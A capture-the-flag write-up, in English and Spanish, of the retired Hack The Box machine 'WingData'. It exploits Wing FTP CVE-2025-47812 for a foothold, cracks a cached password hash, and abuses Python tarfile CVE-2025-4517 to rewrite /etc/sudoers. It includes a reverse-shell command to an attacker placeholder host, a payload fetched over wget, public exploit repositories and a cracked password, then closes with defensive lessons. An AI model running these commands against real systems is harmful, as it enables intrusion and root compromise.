WingData
Executive summary — WingData is an Easy Linux box that chains two real 2025 CVEs: an unauthenticated RCE in Wing FTP Server (CVE-2025-47812, listed on CISA's Known Exploited Vulnerabilities Catalog) for the initial shell, and an arbitrary file write in Python's
tarfilemodule (CVE-2025-4517) to jump from a tightly scopedsudorule to full root. In between, a password hash cached in the FTP server's own configuration is cracked offline and reused over SSH/su. A Web → RCE (Lua) → SSH → tar/sudo → Root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.244.106 |
Attack map
[80] wingdata.htb → Client Portal → ftp.wingdata.htb
│ Wing FTP Server 7.4.3 · CVE-2025-47812 (null-byte → Lua RCE, unauth)
▼
[SHELL] wingftp
│ /opt/wftpserver/.../wacky.xml → hash → offline crack
▼
[SSH] wacky (user.txt)
│ sudo -l → NOPASSWD python3 restore_backup_clients.py *
▼
[TAR] the script calls tar.extractall() · CVE-2025-4517 (arbitrary write)
▼
[ROOT] sudoers for wacky → sudo /bin/bash
1. Reconnaissance
Version detection and default scripts against every port:
nmap -sCV -A 10.129.244.106
22/tcp open ssh OpenSSH
80/tcp open http Apache
Only two open ports, so the attack surface is tight: either port 80 hides more than it shows, or SSH needs credentials we don't have yet. Time to dig into the web server.
Port 80 redirects to http://wingdata.htb instead of answering on the bare IP, which gives away virtual hosting: Apache is serving different content based on the Host header, and there's likely more than one hostname configured that we don't know about yet.
Resumen ejecutivo — WingData es una máquina Linux Easy que encadena dos CVE reales de 2025: una RCE no autenticada en Wing FTP Server (CVE-2025-47812, en el Known Exploited Vulnerabilities Catalog de CISA) para conseguir el primer shell, y una escritura arbitraria de ficheros en el módulo
tarfilede Python (CVE-2025-4517) para saltar de un usuario consudomuy acotado a root completo. En medio, un hash de contraseña cacheado en la configuración del propio FTP se crackea offline y se reutiliza por SSH/su. Recorrido Web → RCE (Lua) → SSH → tar/sudo → Root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.244.106 |
Mapa del ataque
[80] wingdata.htb → Client Portal → ftp.wingdata.htb
│ Wing FTP Server 7.4.3 · CVE-2025-47812 (null-byte → Lua RCE, sin auth)
▼
[SHELL] wingftp
│ /opt/wftpserver/.../wacky.xml → hash → crackeo offline
▼
[SSH] wacky (user.txt)
│ sudo -l → NOPASSWD python3 restore_backup_clients.py *
▼
[TAR] el script hace tar.extractall() · CVE-2025-4517 (escritura arbitraria)
▼
[ROOT] sudoers para wacky → sudo /bin/bash
1. Reconocimiento
Escaneo con detección de versiones y scripts por defecto contra todos los puertos:
nmap -sCV -A 10.129.244.106
22/tcp open ssh OpenSSH
80/tcp open http Apache
Solo dos puertos abiertos, así que la superficie de entrada está muy acotada: o algo en el puerto 80 esconde más de lo que parece, o SSH necesita credenciales que aún no tenemos. Toca mirar el 80 a fondo.
El puerto 80 redirige a http://wingdata.htb en vez de responder por IP, lo que delata virtual hosting: Apache está sirviendo contenido distinto según la cabecera Host, y probablemente hay más de un nombre de dominio configurado que aún no conocemos.
2. Hosts configuration
We add the main domain to /etc/hosts so the browser (and curl) send the correct Host header:
echo "10.129.244.106 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts
3. Web enumeration
http://wingdata.htb is a normal corporate site, nothing eye-catching at first glance. The clue is the Client Portal link, which redirects to the ftp.wingdata.htb subdomain — already present in /etc/hosts from the previous step, so it resolves without further setup.
Client/admin portals hidden behind a subdomain are a very common pattern: the public site doesn't link to them directly, but any guessed or leaked vhost (here, handed to us by the link itself) opens the door to the real panel.
4. Vulnerability — CVE-2025-47812
ftp.wingdata.htb turns out to be the web admin interface of Wing FTP Server v7.4.3, vulnerable to CVE-2025-47812: a critical unauthenticated RCE (CVSS 10.0), fixed in 7.4.4 and added to CISA's KEV catalog in July 2025 after active exploitation in the wild.
The flaw sits in the server's login routine, c_CheckUser(), which validates the username with strlen(). A null byte (%00) in the username field makes strlen() cut the string right there: validation only «sees» the prefix (e.g. anonymous) and accepts it, but the server writes the full string — including everything after the null byte — unfiltered into the session file, which is actually a Lua script.
The trick: arbitrary Lua code is appended after the null byte, closed with the brackets needed to keep the session object's syntax intact. Once we then hit any authenticated endpoint (e.g.
/dir.html),SessionModule.load()callsloadfile()on that session file and executes it — with the service's own privileges (root/SYSTEM), without ever having supplied a valid password.
5. Exploitation (RCE)
We clone the public PoC, start a listener and run the exploit pointing it at the panel's URL and the command to run (a reverse connection). The script automates building the payload: username + null byte + Lua that fires the command passed via -c:
git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
cd CVE-2025-47812-poc
nc -lvnp 5555
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
-c "nc <ATTACKER_IP> 5555 -e /bin/sh"
Result — a shell as the service account wingftp:
id
uid=1000(wingftp) ...
6. Stabilise the shell
The raw reverse shell has no full TTY (no tab-completion, no signal handling, it breaks on Ctrl+C); we upgrade it with the classic Python PTY trick:
python3 -c 'import pty; pty.spawn("/bin/bash")'
7. Internal enumeration
With system access, the first thing to check is which other user accounts exist — the real target is never wingftp, which is just the service account:
ls /home
wingftp
wacky
8. Credentials in the FTP config
Since the compromised account belongs to the FTP service itself, it makes sense to check where Wing FTP stores its user configuration: one XML file per user, inside its data directory:
cd /opt/wftpserver/Data/1/users
cat wacky.xml
... <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password> ...
The filename (
wacky.xml) already points straight at thewackysystem account we saw in/home: if this password is reused, it's our next hop.
9. Cracking the hash
64 hex characters with no visible salt: a raw SHA-256 (Hashcat mode 1400). We crack it offline against rockyou.txt:
hashcat -m 1400 wacky.hash /usr/share/wordlists/rockyou.txt
!#7Blushing^*Bride5
Why offline: cracking the hash on our own machine generates no noise or account-lockout risk on the target (unlike online brute-forcing against SSH or the FTP itself), and once the plaintext password is recovered it's usually reused on other accounts belonging to the same user.
10. Lateral movement
wacky's FTP password also works for their local system account — the credential-reuse pattern is confirmed:
su wacky
# password: !#7Blushing^*Bride5
11. User flag
cat ~/user.txt
12. Privilege escalation
Now that we have an interactive shell as wacky, the first thing to check is their sudo privileges:
sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Translation: we can run that backup-restore script as root without a password, and the trailing wildcard (
*) means we control the arguments passed to it — normally, the path to the backup file to restore.
13. Analysis — CVE-2025-4517 (tar)
The script restores the backup by extracting a tar with Python's tarfile module, using the security filter recommended since Python 3.12: tar.extractall(path=staging_dir, filter="data"). That filter was specifically designed to block dangerous symlinks and paths escaping the extraction directory.
CVE-2025-4517 (CVSS 9.4, affects Python 3.8–3.13.1) shows that filter="data" is not enough: by combining a symlink that escapes upward out of the extraction directory (through a chain of nested subdirectories) with a hardlink pointing at that already-escaped symlink, the filter's check is bypassed and results in arbitrary file write outside the intended sandbox. Since the script runs as root via sudo, the obvious target is /etc/sudoers.
14. Root exploit
We clone the machine-specific PoC, which builds a malicious tar using the symlink+hardlink chain described above pointing at /etc/sudoers, and serve it over HTTP to pull onto the victim:
git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git
cd CVE-2025-4517-POC-HTB-WingData
python3 -m http.server 8000
# on the victim:
cd /tmp
wget http://<ATTACKER_IP>:8000/CVE-2025-4517-POC.py
python3 CVE-2025-4517-POC.py
The PoC generates the trap tar and feeds it to the vulnerable sudo script; on extraction, the arbitrary write appends an entry to /etc/sudoers for wacky:
wacky ALL=(ALL) NOPASSWD: ALL
15. Root
sudo /bin/bash
id
uid=0(root) gid=0(root) groups=0(root)
16. Root flag
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Wing FTP Server 7.4.3 | CVE-2025-47812 (unauthenticated RCE via null byte → Lua injection in the session file) | Shell as wingftp |
| Lateral | FTP config (wacky.xml) | SHA-256 user hash cached on disk → offline crack + credential reuse | Local/SSH access as wacky |
| PrivEsc | restore_backup_clients.py script under sudo + tarfile module | CVE-2025-4517 (filter="data" bypass via symlink+hardlink → arbitrary write) | Root (/etc/sudoers edited) |
Lessons learned
- Unpatched third-party services exposed to the internet (Wing FTP 7.4.3, with a critical CVE already on CISA's KEV catalog) equal direct RCE. An up-to-date version inventory would have prevented the whole foothold.
- Don't cache secrets on disk in reversible or weakly-salted hashed form inside a service's own configuration: the FTP server's
wacky.xmlwas the real pivot into the system. - Credential reuse between a service account and the matching system account turns any hash leak into a free lateral jump. Use distinct passwords per context, always.
tarfile's security filters (filter="data") aren't foolproof: CVE-2025-4517 shows combined symlinks and hardlinks bypass them. If you extract untrusted tarballs, validate resolved paths manually in addition to trusting the filter, and keep Python patched.- sudo with wildcards (
*) over a script that processes untrusted input turns a third-party library bug into full root compromise. Restrict exact arguments or wrap the call with input validation.
2. Configuración de hosts
Añadimos el dominio principal a /etc/hosts para que el navegador (y curl) manden la cabecera Host correcta:
echo "10.129.244.106 wingdata.htb ftp.wingdata.htb" | sudo tee -a /etc/hosts
3. Enumeración web
http://wingdata.htb es una web corporativa normal, sin nada llamativo a simple vista. La pista está en el enlace Client Portal, que redirige al subdominio ftp.wingdata.htb — ya presente en /etc/hosts desde el paso anterior, así que resuelve sin más ajustes.
Los portales de cliente/administración escondidos detrás de un subdominio son un patrón muy habitual: la web pública no enlaza directamente, pero cualquier vhost adivinado o filtrado (aquí, servido en bandeja por el propio enlace) abre la puerta al panel real.
4. Vulnerabilidad — CVE-2025-47812
ftp.wingdata.htb resulta ser la interfaz web de administración de Wing FTP Server v7.4.3, vulnerable a CVE-2025-47812: una RCE no autenticada crítica (CVSS 10.0), corregida en la 7.4.4 y añadida al catálogo KEV de CISA en julio de 2025 tras explotación activa en internet.
El fallo está en la función de login del servidor, c_CheckUser(), que valida el usuario con strlen(). Un byte nulo (%00) en el campo de usuario hace que strlen() corte la cadena justo ahí: la validación solo «ve» el prefijo (por ejemplo anonymous) y lo acepta, pero el servidor escribe la cadena completa —incluido todo lo que va después del byte nulo— sin filtrar en el fichero de sesión, que es en realidad un script Lua.
La clave del exploit: tras el byte nulo se añade código Lua arbitrario, cerrado con las llaves necesarias para no romper la sintaxis del objeto de sesión. Al acceder después a cualquier endpoint autenticado (p. ej.
/dir.html),SessionModule.load()haceloadfile()sobre ese fichero de sesión y lo ejecuta —con los privilegios del propio servicio (root/SYSTEM), sin haber aportado nunca una contraseña válida.
5. Explotación (RCE)
Clonamos la PoC pública del CVE, levantamos un listener y lanzamos el exploit indicándole la URL del panel y el comando a ejecutar (una conexión inversa). El script automatiza la construcción del payload: nombre de usuario + byte nulo + Lua que dispara el comando pasado en -c:
git clone https://github.com/4m3rr0r/CVE-2025-47812-poc.git
cd CVE-2025-47812-poc
nc -lvnp 5555
python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
-c "nc <ATTACKER_IP> 5555 -e /bin/sh"
Resultado — shell como la cuenta de servicio wingftp:
id
uid=1000(wingftp) ...
6. Estabilizar la shell
La shell reversa cruda no tiene TTY completo (sin autocompletado, sin señales, se rompe con Ctrl+C); la mejoramos con el clásico truco de PTY de Python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
7. Enumeración interna
Con acceso al sistema, lo primero es ver qué otras cuentas de usuario existen —el objetivo real nunca es wingftp, que es solo la cuenta de servicio:
ls /home
wingftp
wacky
8. Credenciales en la configuración del FTP
Como la cuenta comprometida es la del propio servicio FTP, tiene sentido mirar dónde Wing FTP guarda la configuración de sus usuarios: en XML, uno por fichero, dentro de su directorio de datos:
cd /opt/wftpserver/Data/1/users
cat wacky.xml
... <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password> ...
El nombre del fichero (
wacky.xml) ya apunta directamente a la cuenta de sistemawackyque vimos en/home: si esta contraseña se reutiliza, es nuestro siguiente salto.
9. Crackeo del hash
64 caracteres hexadecimales sin sal visible: es un SHA-256 en crudo (modo 1400 de Hashcat). Lo crackeamos offline contra rockyou.txt:
hashcat -m 1400 wacky.hash /usr/share/wordlists/rockyou.txt
!#7Blushing^*Bride5
Por qué offline: crackear el hash en nuestra propia máquina no genera ruido ni riesgo de bloqueo de cuenta en el objetivo (a diferencia de fuerza bruta online contra SSH o el propio FTP), y una vez recuperada la contraseña en texto claro se suele reutilizar en otras cuentas del mismo usuario.
10. Movimiento lateral
La contraseña de wacky en el FTP vale también para su cuenta de sistema local —el patrón de reutilización de credenciales se confirma:
su wacky
# contraseña: !#7Blushing^*Bride5
11. User flag
cat ~/user.txt
12. Escalada de privilegios
Como ya tenemos una shell interactiva como wacky, lo primero es comprobar sus privilegios sudo:
sudo -l
(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
Traducción: podemos ejecutar ese script de restauración de backups como root y sin contraseña, y el comodín final (
*) significa que controlamos los argumentos que se le pasan —normalmente, la ruta al fichero de backup a restaurar.
13. Análisis — CVE-2025-4517 (tar)
El script restaura el backup extrayendo un tar con el módulo tarfile de Python, usando el filtro de seguridad recomendado desde Python 3.12: tar.extractall(path=staging_dir, filter="data"). Ese filtro se diseñó precisamente para bloquear symlinks peligrosos y rutas fuera del directorio de extracción.
CVE-2025-4517 (CVSS 9.4, afecta a Python 3.8–3.13.1) demuestra que filter="data" no es suficiente: combinando un symlink que escapa del directorio de extracción hacia arriba en el árbol (via una cadena de subdirectorios anidados) con un hardlink que apunta a ese symlink ya escapado, se elude la comprobación del filtro y se logra escritura arbitraria de ficheros fuera del sandbox previsto. Como el script corre como root vía sudo, el objetivo obvio es /etc/sudoers.
14. Exploit de root
Clonamos la PoC específica de esta máquina, que construye un tar malicioso con la cadena symlink+hardlink descrita arriba apuntando a /etc/sudoers, y la servimos por HTTP para descargarla en la víctima:
git clone https://github.com/AzureADTrent/CVE-2025-4517-POC-HTB-WingData.git
cd CVE-2025-4517-POC-HTB-WingData
python3 -m http.server 8000
# en la víctima:
cd /tmp
wget http://<ATTACKER_IP>:8000/CVE-2025-4517-POC.py
python3 CVE-2025-4517-POC.py
El PoC genera el tar trampa y lo pasa al script sudo vulnerable; al extraerlo, la escritura arbitraria añade una entrada a /etc/sudoers para wacky:
wacky ALL=(ALL) NOPASSWD: ALL
15. Root
sudo /bin/bash
id
uid=0(root) gid=0(root) groups=0(root)
16. Root flag
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Foothold | Wing FTP Server 7.4.3 | CVE-2025-47812 (RCE no autenticada vía byte nulo → inyección Lua en el fichero de sesión) | Shell como wingftp |
| Mov. lateral | Config del FTP (wacky.xml) | Hash SHA-256 de usuario cacheado en disco → crackeo offline + reutilización de credenciales | Acceso local/SSH como wacky |
| PrivEsc | Script restore_backup_clients.py con sudo + módulo tarfile | CVE-2025-4517 (bypass de filter="data" vía symlink+hardlink → escritura arbitraria) | Root (edición de /etc/sudoers) |
Lecciones aprendidas
- Servicios de terceros sin parchear expuestos a internet (Wing FTP 7.4.3, con CVE crítico ya en el catálogo KEV de CISA) equivalen a RCE directa. Un inventario de versiones al día habría evitado el foothold entero.
- No caches secretos en disco en texto reversible o hasheado sin sal fuerte dentro de la configuración del propio servicio: el
wacky.xmldel FTP fue el verdadero pivote hacia el sistema. - La reutilización de credenciales entre un servicio y la cuenta de sistema convierte cualquier fuga de hash en un salto lateral gratuito. Contraseñas distintas por contexto, siempre.
- Los filtros de seguridad de
tarfile(filter="data") no son infalibles: CVE-2025-4517 demuestra que symlinks + hardlinks combinados los eluden. Si extraes tar no confiable, valida rutas resueltas manualmente además de confiar en el filtro, y mantén Python actualizado. - sudo con comodines (
*) sobre un script que procesa entrada no confiable convierte un fallo de librería en tercero en compromiso total de root. Restringe argumentos exactos o usa un wrapper que valide la entrada.